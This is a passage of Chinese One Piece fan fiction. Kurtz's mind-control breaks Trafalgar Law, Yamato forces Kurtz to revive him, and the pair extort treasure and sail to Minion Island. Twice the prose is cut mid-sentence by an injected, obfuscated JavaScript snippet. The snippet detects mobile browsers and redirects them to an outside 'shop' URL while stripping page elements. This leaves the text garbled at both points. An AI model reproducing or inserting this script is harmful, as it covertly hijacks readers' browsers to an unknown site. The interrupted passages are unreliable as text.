“哎!小鬼——”正要回头抓去,已经拥堵在走廊里的普通人一齐挤上来,一个踩着一个、潮水一般,竟合力将个头不算矮的海贼压倒在地。 被踩到的伤势倒还在其次,刚才那一幕他转瞬间回想起来,竟觉得怎么这么像虚构作品中的僵尸! ——该死一万遍的“心理医生”库尔茨,竟敢将人们变成毫无知觉情感乃至自我意志的怪物,等着瞧!他现在就要上去帮罗一起轰飞这个“魔鬼”! 话虽如此,真要挣脱出人群爬起来,还是废了他好一番功夫。 顾不得外套也被抓破了,一身狼狈,好不容易趁无自主意识的人们互相争抢、牵绊,得以踉跄地重新站起来,他就忙借助脚边任何可利用的支撑跳上屋顶。 ——怪他还是没守住下面的“关口”! 一面默念着千万没出大岔子,一面用力撑上屋顶,他简直被眼前的景象触目惊心: 正是他不慎放进来的普通人和小孩子在伤害罗,而被围攻的人此刻已经失去冷静,正跪坐在地上,表情歇斯底里。 就在大和站在楼下纠结该不该伤害市民,耳朵也因棉絮塞住而什么也听不到时,罗已经“中招”失神…… 竟连小男孩毫无技巧的捶打也躲不开。 - - 不到5分钟之前,罗已经借助周边能“创造”出来的工具封印住库尔茨的肢节,还在屋顶追赶到处乱蹦的“脑袋”,偶尔只需腾出一点精力躲闪自己找回来与“双脚”合在一起的“手”射出的枪弹。 库尔茨也能使用电流,这在他意料之中,和罗的手术果实身体改造能力有相似之处,对付起来不困难。两种电流相斥,他还刚好破解了库尔茨的精神“附身”。 等他几乎探清了库尔茨的能力,终于要抓住令人作呕的“脑袋”时,只差1步,却未听到身后冲上来的脚步。 有什么撞到他的腰,不大的力量,可恰好逮到他的漏洞攻击到防御薄弱处,害他一个踉跄错失良机。 回头一看原来只是个10岁上下的小男孩,不要说大和见到后会迟疑,罗发现他时也不禁一愣。转念也就明白为什么小孩能第一个突破楼下的防线。 罗正想赶走他——实在不行就狠心扔下楼去,大不了一切结束后再救治——又有肢体明显僵硬的人相继攀上来。心知楼下可能彻底失守了,他不禁担心大和会不会出现意外。 没想到自己先出了“意外”。 接二连三的“漏网之鱼”围上来,他只得先顾着这边,一脚一个踹回楼下,未曾顾及敌人将声东击西耍到极致: 库尔茨先是“附身”到小男孩身上,牵住罗的行动还使他无法下狠手,又反复故伎重施跳转到其他人身上。 等“手术果实”能力者后知后觉地再度展开空间,才发现“精神果实”能力者的“手”“脚”已偷偷跳到他身上来。罗正要将之如蟑螂般扫开,只觉额前被撞击了一下,力道不大,本以为没甚妨碍。 可等他刚站住脚,铺天盖地的画面便一涌而来。 他并不会败于一拥而上的敌人,也不怕蟑螂般难缠的对手,却没想到会输给过往灰暗的记忆。 罗崩溃了。 ——“这是‘触疗法’。人的大脑中有密集的神经元和穴位,只要在头部的特定点位上施加一点点能量,就能够在瞬间释放大脑的压力和能量。心理治疗上这可是颇为有效的一种方式,只不过真正掌握的人还不多罢了。” “心理医生”海贼库尔茨眼下只有一副还没找齐的身体,脑袋挂在拼凑起来的一只手和两只脚上,却迫不及待地对后赶来的入侵者炫耀。 “我只在业界的研究基础上做了一点改良,通过刺激前额叶释放记忆,足以干扰人类的行为,甚至于让人沉溺在过去的记忆中再也走不出来——不过没想到这招会对他效果格外强烈,像崩溃到这么彻底的,我还是头一次见。 “这么说吧:此刻正在折磨他的东西跟我已经没关系了,是他自己不放过自己。准确说,是过去的他不肯放过自己。” 痛彻心扉的惨叫声,这是大和有记忆以来第二次听到——上一回是失去兄长的路飞——但从罗口中是第一次听到。 在屋顶上看清眼前情形后,大和就已顾不得“降低对市民的伤害”这条原则,推开所有无意识伤害目标的普通人后,只管抱起崩溃之人。 他摘下了耳塞,才知道罗的哭喊有多凄惨,那根本不是成年人的哭声,更像是无措而绝望的孩子。他想象不出是什么情形令任何人这么无助,到底罗正在经历什么、过去经历过什么。 无论用力摇晃、击打脸庞,甚至慌不择路地用应对癫痫的手段也无济于事。听者快要心碎了,哭泣的人却还是醒不过来。 愤恨的泪光涌上眼前,视线模糊间,大和深刻地明白了因为自己一时错判,给他人——还是他最在意的人——造成了多大的伤害。 自责、悔恨、心如刀绞,几乎要弱化他站起来继续战斗的意志。 可即便如此他还要装成一个哑巴——此刻还有必要吗?他不知道。如果罗真地就像敌人所说那样再也醒不过来,一切装聋作哑的坚持是否还有必要——他还答应了罗不能再暴露果实能力,也就无法依照本能的愿望,冰封住始作俑者和一切试图伤害罗的人。 “……” 他张开嘴,却不敢发出一声,也不能叫罗的名字,更无法叫醒崩溃的人。 …… 他也好想像怀里的人一样嘶叫出来,像先前的“草帽”路飞一样叫出来,但不行啊——他没有资格这样做——他根本就没有真正承受过和他们一样的痛苦,还不知道他们这么哭出来的时候到底经历了怎样才能形容的悲怆。 罗到底看到了什么?? 可恶!为什么罗要受这种罪?!都怪他,全怪他,他不该掉以轻心;还有那不配医生之名的人渣,凭何滥用恶毒的方式中伤别人,为什么要害人崩溃,为什么还能在做出无法原谅之事后用炫耀的语气说出来! 如果大和必须接受犯错的惩罚,那他至少要在此之前先让库尔茨明白所犯罪孽深重! - - 猩红似血的双眼从七武海胸口抬起之时,库尔茨好像隐隐已经感受到了情况的严重程度。 因在场尚有一丝清醒之人都还无法解释的无形力量,两名入侵者背后正在不断攀上来的人们突如飓风下的杨树那样齐齐受“撞击”般向后摔去,“噼啪”作响地下落,不消说更近处的市民直接倒地不醒。 力量就像一股剧烈爆炸卷起的热浪,转瞬之间扩散出去,本就还没赶上来的杂兵们干脆原地失神,就连还在库尔茨操控下不断从家中、路上赶来的人们也纷纷或后仰、或跪在地上继而五体投地,彻底切断了“精神联接”。 可能不过几秒的时间,仅在市镇范围内,“精神果实”能力者库厄茨竟再也察觉不到有清醒的、可供他差遣的人。更远处的人则在郊外,就太远了…… 只有陷入崩溃的七武海,本可对这一还未认识过伟大航道和真正力量、只懂病态掌控他人精神的自恋狂秃子解释:有种顶尖的战力叫作“霸气”,是极少有天赋的人才可获得——想必库尔茨这样的自恋狂秃子这辈子无望习得。 他只是运气好,刚巧吃下了与自身欲望匹配的恶魔果实,又刚巧遇到确有无人可重复经历之悲惨身世的七武海,自然那七武海事前也并未充分准备和知晓他的能力,3个条件不可或缺地凑到一起,才有他侥幸的“获胜”。 ——但胜负也在瞬息间调转。 库尔茨即便不知道刚刚白发红眼的外来者用了什么招式,也能明白这是自己应付不了的,实际上眼下光是要站住脚、不打颤,就已经很困难了。 “脑袋”又再次从“手”“脚”上滚落下来,求生的本能让“心理医生”立即选择了一种最有可能遏制对手的方式。 库尔茨再次发动“附身”技能,尝试一口气直接控制除己以外唯一清醒且给他造成直接威胁的对手。他一下子成功了,紧接着,在白发人身上,他前所未有地聆听了来自心灵的恐怖怒吼—— 【你这杂碎!竟敢藐视他人生命,贬低他人尊严,狂妄伤害无辜者的性命。】 这是什么样的声音啊?库尔茨还从未在将精神附于他人身上的情况下听到被“附身”者的声音,更不要说好像来自地狱烈火煎烤的吼声。 更诡异的是库尔茨发觉自己的精神无法“开口”,无法对大脑施加指令,也根本操纵不了躯体。原本想借附身的时机铲除入侵者,或者通过操控白发人超乎寻常的身体一举干掉其同伴七武海——或可在逼疯“她”的同时一箭双雕……哦,不对,他是个男人? 【我知道你在想什么!渣滓。即便要你死一次又一次也难消我心头之恨,留下残生我要你赎清所作的罪孽!】 身体在原主的控制下抬起手来,却不是服从“心理医生”的意志,而是抓起地上无刺的狼牙棒(在库尔茨看来多少有点像玩具的可笑武器)一步步走向远处暂时离了神识的破碎肢体。 他在干什么?径直捡起没有1根毛的“脑袋”,转而又将“手”“脚”都踩在脚下,那架势如同要踩烂一串畸形的葫芦。库尔茨吓得想要逃回到自己的身体上,但才发觉居然连挣脱都做不到。 【现在!立刻!将罗唤醒,否则我定让你体会求死不能!】 这不是开玩笑!白发的“哑巴”恐怕真能做到。 如果他能无视库尔茨的果实能力,甚至于让库尔茨离体的精神都无法自由来去,搞不好他真有能力一辈子困住库尔茨,让后者既没有可以承载生命和欲望的本体、也得不到灵魂的释放,还要永远听他威压十足的怒吼与辱骂,夜以继日…… 【明白!明白了!】库尔茨终于成功传达出一点意识,似乎还是在另1个精神的“恩准”下。【我这就救他!我有办法救他!】 【快一点——】 耳畔最后这声怒吼停了下来,一晃神,库尔茨才发现自己的视角已经变了,原来是已回到自己的身体上,同时也是在白发人的手里打量世界。 方才积 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049391|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攒的恐惧顷刻间爆发出来,库尔茨敢说要不是眼下只能找到手脚和脑袋,他可能已经失禁了。而白发红眼之人将他的脑袋拎起来,又冷冷地看着他,这一幕让自称“心理医生”的人也几乎触发精神病——简直就像被恶鬼盯上了一样嘛。 ‘快一点’!——“恶鬼”似的入侵者用口型再次告诉他,虽然没有发出声音,但不知怎地库尔茨就是知道对方在说什么。 “是!是!别杀我!” “手”在“脚”的帮助下跑了过来,到嗓音沙哑后终于停止惨叫的七武海身边,跳到其头上。 “唉,如果还有另一只手就好了……”心理医生刚说完就看见了伸出来的修长五指,应该和此刻攥着他脑袋的刚好是一对。 他吓得一激灵,却也只敢接受这只并非他自己的手,通过语言和示意,指引“恶鬼”的手配合他的手在七武海头上找到正确的点位,同时触发,反向舒缓崩溃之人刚刚承受的精神压力。 可即便他们轮流触发了几遍,七武海还是没有醒来。 心理医生又能感觉到头顶传来利刺般的杀气了。“别急!”求生欲让他赶紧嚷嚷,“别急,马上就可以了。因为他刚刚受的刺激太大,需要多一些的休息时间……” 杀意虽然停了下来,但库尔茨还是敏锐地察觉到控制他的人更加愤怒。他满头冒汗还下意识地怕脏了“恶鬼”的手,多重的压力是他自童年以后再也没有感受过的。 或许可以说今日的体验也将成为他铭记一生的噩梦。 在两只手配合的不断尝试下,平躺于地面之人总算稍稍恢复平静的面容,虽脸部尚有污渍,但至少能看出原本英俊的样貌了。 许是库尔茨“命不该绝”吧,又过了一会,男人出现眼动现象,似乎也正在主动意志下挣扎想要醒过来。万幸七武海的意志力不差,稍稍恢复意识就能靠自己的力量夺回自主权。 “七武海,你醒一醒呀?”库尔茨无比和善地念到,可能这辈子也没法比此刻更和善了,“‘外科医生’,特拉法尔加,加把劲,醒过来吧……” 身旁的“哑巴”依然没有发出声音,而库尔茨就全当自己在替“恶鬼”呼唤同伴。 终于,谢天谢地,七武海醒了。 “脑袋”落地。库尔茨反应过来是“恶鬼”终于松开了攥着他的手。 他忙不迭地和自己的手脚重新合体,站定后竟看到白发人就像换了张面孔——刚才的“恶鬼”好像只是库尔茨1人的噩梦——此刻却变得无比阳光而温柔,简直成“天使”一般。 但尚存的理智告诉库尔茨,刚刚不到10分钟却好像数小时那么长的时间内,所发生的事情绝非他独自发梦。 证据就是:他依然感觉不到市镇上还能多出一念尚存的神识,视线所及之处,也具是一帮倒地的凡人;全程范围内,只有他自己,以及秀丽的白发“哑巴”和靠在其怀里的七武海。 - - ——‘你醒了’。 罗在从泥潭一般的噩梦(虽为噩梦,却都是他的真实记忆)挣脱出来后,晃了晃神。记起自己已经24岁、在哪里、在干些什么,这才将目光对准一身狼狈却还笑容灿烂的人,也在同时分辨出白发之人的手势。 ——‘感觉如何’? “我‘昏’过去多久?”如果没猜错,他刚才实际上应该是崩溃了。 ‘不用担心’。大和安慰他,表达完一段意思,又会停下来轻抚他的脸或心口。‘我上来之后过去了不到10分钟’。 “这样啊……”那他就不知道在大和上来之前到底又崩溃了多久了。体表的痛感慢慢袭来,但不严重——外伤和白发之人应该差不太多——只不过相比之下,头痛得仿佛要裂开,“我也觉得应该不是太久吧……” 毕竟直到醒来之前,“他”都还没有成功逃出弗雷凡斯…… “那个混账在哪?”竟敢害他崩溃在10多年前的记忆中,“死透了吗?” 大和没有急着回答,而是伸手帮试图起身的男人坐起来,一手扶着他的后背,一手继续若有若无地轻抚他的前胸。 ——不过若是罗在此下令,大和可能真地会让心理医生直接“死透”。 “那个……我在这。嘿嘿……”只有头、手与双脚合在一起的人像是畸形秀里的“花瓶人”。 刚醒过来就看到这么恶心的场景也着实令人不适,虽说差不多是罗“亲手”打造的。 号称“心理医生”的混账还咧着嘴摆出一脸讨好的笑容,不复先前的嚣张,“七武海,那啥,对不住啊……小的有眼不识泰山,您大人大量……” “别说屁话。找死。”罗不耐烦地回了一句,虽全未收敛戾气,却不及“花瓶人”库尔茨几分钟之前刚体验过的恐怖。 罗很快便也猜测,在他不知情的时候可能发生了什么;且不提“花瓶人”谄媚的反应,四周竟也出乎意料的安静,或该形容为一片死寂。 “怎么,现在认输了?”他没有立即追问具体是何情况,直接问结论。 “那是、那是。”库尔茨清楚眼下两个入侵者的主从关系,故而也就明白该朝谁溜须拍马。“其实您何苦亲自动手,就让您身边这位呃……”心理医生刚抬眼试图看看旁边,又立刻噤声把头低下了。 罗也就明白一定是大和做了什么。 “嘿嘿,七武海大爷,您看今天这事都是小的多有不敬,那啥……疗伤啊、精神损失什么的,都懂……小的积攒了一些财宝就藏在岛上,我可以将一半都孝敬您,只要您别将我送给海军……” 能用钱解决的事都是小事。“花瓶人”心理医生有几分“懂事”。不过罗也不可能就这么算了。 “一半是多少?”他直接问。 “啊,一半嘛,估计算下来也有个2亿4……”心理医生忽然瞅着外科医生的眼神停顿了下来,“呃,您不会是要……” “你知道我的悬赏金有多少?”罗醒后尚有倦容的脸上似笑非笑。 “您真会说笑,王下七武海哪还有……” “别说屁话。”罗再次警告。 库尔茨只有接着谄笑:“嘿嘿嘿……4.4亿,我知道。” “光老子就值4.4亿,你只赔我们两人2.4亿?” 罗敲诈般的话术令旁边大和差点破功。 不过眼看罗苏醒后能够恢复神采,并且似乎在做一件很有“价值”的事情,大和便也板着脸,默契地配合罗继续紧盯“花瓶人”。 “哎,这……”心理医生好像还要讨价还价,白发人轻轻一挑眉毛。 ——来自伟大航道海贼的死亡凝视,对尚在北海一隅当“土皇帝”的海贼来说,还没办法抗拒。 算算看,库尔茨虽然一时“赢”了七武海,却已倾尽全部手下和半个市镇的人力,更不要说后来白发人反败为胜时,又直接放倒了数公里外剩下的“半个市镇”。 “我明白了……” ——别说倾尽“家财”,就是要库尔茨卖掉整个港口城市“赎身”,他也干的。 七武海露出了稍显满意的神色。 到现在还不知名姓的白发人也终于扶着同伴,收回令心理医生毛骨悚然的视线。 33.piece 33-罗的真相与记忆 ‘对不起’,‘这次都怪我’,‘是我想管镇上的闲事’,‘也是我没守住门将人们放了进来’。 七武海指挥海贼,进而海贼指挥手下搬运财宝,等待的时间里,大和主动承认了自己所犯的错。 经历过失去艾斯之后,差一点以为这次会失去罗——这样的认知令他久久不能放过自己。如今海贼库尔茨已经被他惩罚过了,他自认也该领罚。 ‘我很没用吧’。‘你骂我吧’。 “我为什么要骂你?”罗眼神无奈地看了看他,只好先不去管眼下一脸谄笑地颠来跑去的“花瓶人”,将注意力全部放回同伴身上,“原本也是我想好好修理那个混蛋,只不过起初没承认罢了……更不用说耍阴招让我崩溃的人也是他。 “你觉得我应该怪你帮我一起对付混蛋呢?还是怪你帮我恢复清醒,‘害’我不能再继续重温过去的狗屎记忆?” 罗看看他,白发上又不知从哪里沾到脏东西,此刻就像被丢弃了的大狗一般,两眼可怜兮兮地看着他人。 面对大和这副模样,罗真是一点重话也没法讲出来。 就在清醒后不久,他刚得知自家船员居然有霸王色霸气,至少证明这小子的实力不比他弱——如果不是恰巧刚觉醒,那就只能说明失忆之前大和的实力已经达到相当的水准,而不仅仅是他此前判断的“船长”级别而已。 虽然不想承认,但如果这次没有大和,他可能真就倒在进入新世界之前了。 可船员好像完全没意识到自己有多重要,还像做错事的小鬼等待船长责怪。 平心而论,罗觉得光凭实力而言,他这个“船长”身份让给对方也不是不行……当然,这个念头也就是他自嘲的想法罢了。 真不知道他“白捡”的这个船员过去到底有什么了不得的身份,年纪轻轻就有至少可以跻身伟大航道后半段的霸气,而他居然从未听过大和的名声。到底这世上还有多少“怪物”? “别‘装’可怜啊,打杂的……”一方面是出于对实力的敬畏,一方面又看见对方沮丧的样子就忍不住心软,罗的语气弱化不少:“我不会怪你的,你又没做错什么;别哭丧着一张脸了,我还没死呢。” ‘可是’,‘是我把‘对手’放进来’,‘才害得你中招’。 或许对此时的大和而言,船长的温柔与宽容只会令他更难受。他陷入一种自责自虐的心理怪圈——或许库尔茨能用专业阐释和解决一下问题,但是罗一点也不想信任在不远处替他跑跑颠颠、吆五喝六的“花瓶人”。 自己就是医生,自己的船员,罗只相信亲自治疗的好。 “傻瓜,突然出现那么多‘送人头’的普通市民,还有小孩,就算站在下面守门的是我也会吓一跳。你的反应再正常不过……你本来就是这么善良的人。” 讲到这里,他顿了顿,俄而露出个春风拂面的笑容来: “老子还就喜欢你这样。” 朱红的眸子像被水洗过一样清亮,没一会鼻头也红了,眼眶蓄起泪光。 “——可别在敌人能看到的地方哭出来哦。尤其是那么讨厌的混蛋在这。”罗提醒到,也忍下了看到船员要哭鼻子时心头一时的慌乱,“还有啊……” 他说着,用了点力气捏住白发船员兼男朋友的颊肉——就这么算作惩罚吧——“既然认识到了干架时心软会造成什么后果,以后就警醒着点。打伤了普通人可以治、可以赔,下回在自己有实力的情况下,至少别害自己受没必要的伤,你疼不疼是一方面……疗伤还得我操心!” 他好好的船员被普通人打成这样,差点就让他承认自己心疼了。 ‘我没事’。船员小幅度的摇了摇头,一行清泪还是流过船长的拇指,在自己的脸上和他的指头上冲刷出一道干净的泪痕。‘我好心疼罗’! ——他真是服了!有什么话,但凡他羞于表达的,居然都能被大和“说”出来。 罗的脸一下子红了,连带着眼眶也有升温。 他赶忙扭开脸不再细看,眼皮快速眨动几下,将泪意顺利按捺回去,还得靠大声嚷嚷转移注意:“混蛋秃子花瓶人——能不能动作快点?!才多少东西,搬这么半天!” 海贼库尔茨被吼得好生委屈,但还是“屁颠屁颠”地跑过来,一边谄媚一边小心翼翼道:“马上就搬完了,七武海老爷,另外还有个微不足道的小事……既然您也提到了‘花瓶人’什么的……” 库尔茨眼看七武海面色不善,在对方身后还有明明实力强得不可思议、眼下却在低头以泪洗面的白发“哑巴”——库尔茨猜测,保不齐“哑巴”还是被七武海训斥哭的,可能为的是刚刚战斗不力什么的吧(事实完全相反)——他越发谨慎开口: “这么着,七武海老爷,您看我还能为您做点什么?要不……为了能让小的更得力些,您还是抽个空帮我把身体其它部分组装回来吧……可好?” 听到库尔茨这么谨小慎微地请求,罗鬼精的脑瓜子一转,计上心头。 “想把身体变回原样?”面前只有手脚和脑袋的库尔茨立即点头如捣蒜,像是也不怕脑袋再次掉下来。七武海咧开一个不怀好意的笑:“那好说,跟我走一趟……” “我的七武海老爷!您可答应了抓我去见海军的!” “谁跟你说要抓给海军了?”罗很清楚如果将海贼扭送海军,总价值约4.8亿的财宝被海军层层扣缴下来剩给他的估计就没多少子儿,说不准能把“心理医生”库尔茨那点微不足道的悬赏金发给他就不错了——还不知道库尔茨值多少悬赏金。 “那您的意思……?” “说到这,我记得你连附近海军基地的长官都用精神操控了?”罗也想起来,库尔茨好像惹的麻烦还不少。“那你听好—— “第一,现在立即把所有施加在海军和普通民众身上的能力撤下来,禁止再用精神操控普通人; “第二,今后不许再让我听到你自称‘医生’,尤其不准再对任何病人下手,除非你真地打算治病救人; “第三,今天在这里发生的一切,你和你的手下都不能透露出去……这3条但凡违背其中1项,你当心,我们就算在拉夫鲁德得到消息,也会在最短时间内赶来叫你死无全尸。” 顿了顿,罗没忍住又用长刀刀柄戳了一下脚边的海贼库尔茨,“听懂没?” “听懂了、听懂了,小的都记住了。那以上我就……” “还有第四,”罗不等他说完便再次开口,“这两天我要带我的助理去米尼翁岛‘度假’——以及养伤——”说着又冷冷地扫了脚底一眼,“那座‘鬼城’太久没人打理了,你跟着我们过去,给我们打扫、做饭。伺候好,我就放了你。” 说罢,七武海单手掌心向下,释放出一枚无形的球状薄膜,转眼展开到肉眼无法识别的半径距离之外,不多时用能力置换回了散落在各处的海贼肢体。 “Shambles”能力将库尔茨的身体各处又聚集起来,很快他又可以从熟悉的“海拔”观看周边事物。 海贼在还没完全恢复身体控制力,正打算再对七武海表达一番“感动”“感激”与吹捧之情时,突然不知从哪跳出来1只灰头土脸的海獭,衔着1串手铐形状的东西灵巧地窜来。 只听“咔吧”一声脆响,库尔茨顿感浑身无力,仿佛泡进了海水里一般。 “咦,哪来的丑东西?”——突然扣在腕上的该不会是海楼石吧?! “还不错,捕鱼当家的,看来你已经很适应海獭的身体了。”七武海难得说话态度这么温和,反正库尔茨还是第一次听见。 罗低头朝轻巧地落地之后又昂首看过来的“海獭”笑了一下,趁着“手术室”空间还未收起,举起刀柄再次发动能力。 “辛苦了,回家去吧。” 话音刚落,海獭似乎跳动了一下,重新睁开眼时停顿几秒、又甩了甩脑袋,再昂起头来时眼神已不再带有人性,而是恢复到野兽状态。 罗这才收起空间,弯腰抓起地上被无辜牵扯进人类纷争的动物,转身塞进尚在抹眼泪的大和怀里。 “——给。喜欢就再多抱会,出发前放生回海边就是。” 白发之人还没反应过来,本能地伸手接下,就见提刀之人已经揪着“心理医生”的肩膀,头也没回地大步朝正在搬运财宝的混混们走去。 “限时5分钟——再装不好,等着统统被老子大卸八块!” 大和怀抱眨巴着眼睛还不懂周围在发生什么的海獭,大眼瞪小眼地对视两秒,终究还是觉得面前有着大鼻头、黑豆眼,还长了浑身肥膘与密实茸毛的小家伙实在太可爱了! 便破涕为笑。 既然迟早是要带到海边放生的,在去港口之前,他就接受罗的好意,再抱一会吧~! - - 礁石旁放生海獭回家,港口处已有连同财宝一起“附赠”的小型帆船静候出海,船上装好了全部财宝、度假用的食物和充足的淡水。 罗就像计划所说的那样,抓着秃头海贼库尔茨一起上船,打定主意要在此期间好好“奴役”一下这坏蛋以解气。 终于红心团的船长和船员在行程延迟半日后得以启航,不过这半日居然能收获价值4.8亿的财宝、1艘船和物资、以及1个可随意欺压的免费劳动力,也不算浪费时间。 大和站在船尾向逐渐远去的岛屿无声地扬手——当然不是对岸上那几号巴巴目送众恶之首库尔茨的手下,而是向远处出现在海岬上的渔人一家3口。 已近午时,因纬度偏高,日头显得便有些矮。整个港口城镇就像还没苏醒一样安静(其中大多是大和的手笔),眼下也只有寥寥数人知晓上午所发生的一切究竟何人所为。 岸上的事物越变越小了,就连岛屿也终于看不清。 “看得差不多了,就进来吧。”罗在此时走过来拉自家船员进船舱,“伤口不能这么晾着,得尽快处理。” ‘镇上还有很多没苏醒的人’,‘不会有什么事吧’? 他收回手之后,还是表露了为普通人担忧的想法,这都在罗意料之内。 “放心吧,我已经向海军发出信号了,先不管他们打算怎么处理库尔茨,至少不得不管普通民众。之后还是交给海军吧。” 大和只好点点头,‘你说的对’。 甲板上“咚咚咚”传来一串脚步声。“七武海老爷!七武海老爷~起航一切正常,预计后天中午之前可以抵达米尼翁岛‘幽灵镇’。” “知道了。去做饭吧。”——不愧是身为船长之人,使唤起临时抓来的劳动力也毫不生疏。 “是!七武海老爷。”库尔茨又转身低三下四地跑了。 看着离去的男人手腕上还拖着海楼石手铐,白发青年稍稍有些在意。虽然不希望任何人丧失自由,但转念想到库尔茨之前所作的恶事不仅罔顾人命还蔑视他人,也就觉得让不尊重自由的人丧失自由正是应有的惩罚。 与此同时,他又下意识将自己的双手举到面前。 ——某一瞬间,他依稀觉得自己双手上确曾有过类似的手铐,朦朦胧胧地好像还能回忆起佩戴时的感受,似乎也曾令他使不上力,也用不了恶魔果实能力。 即便是首次遇见艾斯时,他似乎也戴着那样一副手铐——不然艾斯也不会确定地说他过去曾失去自由,显然艾斯知道甚至见过——可如果真是海楼石制的,他又是凭借什么力量同艾斯决斗的呢? 他应该是掌握了即便碰到海楼石也能战斗的方式。 那感觉就有点像今日,在完全不用恶魔果实能力时,成功压制了库尔茨刁钻的能力。 他想了想,招手“叫”罗:‘再对我说一些有关‘霸气’的事吧”。 “唔,可以。”罗一口答应,同时提议:“正好我也在尝试锻炼这一力量,大致的原理已经清楚,不过实际进展不是太快。这阵子横竖也没什么紧要的安排,可以一起研究一下。” 想来他们两人:一个有清晰的头脑和理论,另一个则已有实际觉醒的底子。若是一起锻炼的话,应该很快就能掌握这一进入新世界真正必备的“门票”。 大和闻言,抬起头朝罗笑了。 眼下外科医生正认真准备伤药及其他器具,并未抬头看见白发人的眼神。 大和倒是突然想起,自己忘了在库尔茨附身时告诉对方:罗跟“心理医生”绝对、完全、毫无相似之处;罗是真正的好医生! 罗从未自大妄为地凭借有能力就无故操控、伤害他人,他尊重生命,也敬重人的人格尊严;不仅如此,他还会倾注自己的能力拯救他人,无论是对船员,还是对并非同伴的“草帽”路飞、“海侠”甚平,抑或对诸如莉娜那样的普通人。 他有一颗温暖至善的心,担得起责任感也肯给予同伴充分信任——这就是值得大和爱慕和追随的男人。 大和定当要守护他,哪怕是拼上性命。 “砰”——正包扎伤口的当,船上别处传来不明的声响,神似爆炸声,却又不像真正的枪炮发出的响动。 “库尔茨这混蛋找死?”罗将一团沾血的药棉扔下,在大和协助下也对自己身上的伤口完成消毒和包扎,正好站起来,“我过去看看。” 大和默然注视他,注意到对方健美的上半身还裸露在外,便随手抄起搁在一旁的外套,起身替他披上。 ‘外面蛮冷的’;‘你没有我耐冷’。 “……知道了。我可在极寒的地方生活过很长时间。”接受好意之人面颊上似乎染了淡淡红痕。 顿了顿,罗还是转回头来定睛看向身后的白发人,再开口时态度有着外人未曾见过的柔软:“你也别仗着冰系能力就大意。看天气,很快就该下雪了……” 大和笑着颔首,注视他出去,直至舱门关闭,方缓缓坐回去。 先前被抑制的异样从胸口下方升上来,有如撕裂式的疼痛感,彻底扩散时,几乎令原本秀气的面部狰狞和扭曲。刺痛持续大约4-5分钟,等到痛感慢慢淡化,他已是满头大汗。 额头沁出的汗珠流经鼻翼,汇聚至鼻尖,豆大水滴落到船舱的木制地面,很快被吸收成为小小一片深褐色印迹。 虽还无直接依据,但他多少能想到眼下情形是今日的力量爆发所造成。 即便反噬程度不同,类似的感受其实早就曾有: 在近4个月前马林梵多的战争中,可能由于长时间维持恶魔果实能力,外加高强度体力消耗,就在回到极地潜水号之后不久,他就感受到身体承受了一定程度的反噬。 只不过上一回还没有感到明显疼痛,只是有极强的疲劳和一点点胸闷,后来靠长时间的睡眠和休息调整,不适感也就慢慢消失。 或许——大和心想——这次也只要多睡一些时日,就很快能好吧。 等到实在坚持不了,再告诉船长就好了嘛——反正罗是顶尖的好医生,一定有办法的。 就是,眼下,直觉上还不想告诉罗。 ……不,直觉其实提醒他应该早点讲出来。可是唯独这件事他不想服从本能,而是用意志对抗直觉。 他不想让那个男人知道,其实他的身体可能承受不了所展现出来的“实力”。 因为离真正“认输”之前应该还有些时日,在此期间他还得变更强才行,强到再也不会亲眼看着分明重要的人战死在眼前而无力挽回,更不能再将最重要的船长送入同样的险境。 他不可以再听到任何绝望的哭声了:任何人都不行,更不消说那声音来自于珍视之人。 - - 事实证明,库尔茨绝对是个糟糕的“厨子”,自从起航日中午他差点炸掉帆船上的厨房,并且作出的食物令人光是看到就无法下咽后,就被禁止再从事任何与烹饪有关的行为。 隔日中午登岛后,罗则是直接踹他去清扫米尼翁岛上的废弃城堡,勒令入夜之前必须打扫出至少1个能睡觉的卧房,要干净、卫生、整洁,最低限度也要按医护的标准——做不到的话,罗就剁了他这双“庸医”的手。 而好医生的最低限度就是说到做到! ——“混账秃子,连做饭这么点事都不行。如果连清扫房间也做不好,我就拿他的脑子钓鱼!”亲自掌勺又对付一餐后,七武海咬牙切齿地对留下同行之人赌咒。 大和对库尔茨可能的“下场”不太关心,倒也默默想好了,如果库尔茨那么不靠谱又将罗交予的任务搞砸,那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079117|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由他来收场吧——反正他在海贼船上原本的职务也是清扫打杂一类的活计。 拎上他们最初的行李和一部分用于在岛上度日的物资,将资源和衣物存进罗所说的城堡后,白发船员也就跟着船长携带武器暂时离开,打算在岛上先转一转。 岛上还是有人类活动的痕迹的,只是已多年不见人烟,故而原本的人类房屋聚落就成了“幽灵镇”。 只有可以凭借翅膀随处造访的鸟儿、和不知通过何种方式流浪到岛上的昆虫与哺乳动物,渐渐将原本的人类住所当作为自己遮风挡雨和暂时栖息之地。 “上一次来,还是在10多年前。”罗走在他前面,说到这里稍微停了一会,像是在比对今昔:“不过,今年可能雪下地有些晚。” 大和安静地跟着后方,在他眼中:大衣勾勒出青年修长匀称的背影,肩宽而腰窄,煞是好看。 走到一户看似并不起眼的民居建筑前,罗推开门向内看了看。好在除了屋檐下的燕窝之外,还没有成为其他动物盘踞的“窝棚”,也就没什么太明显的动物排泄气味。 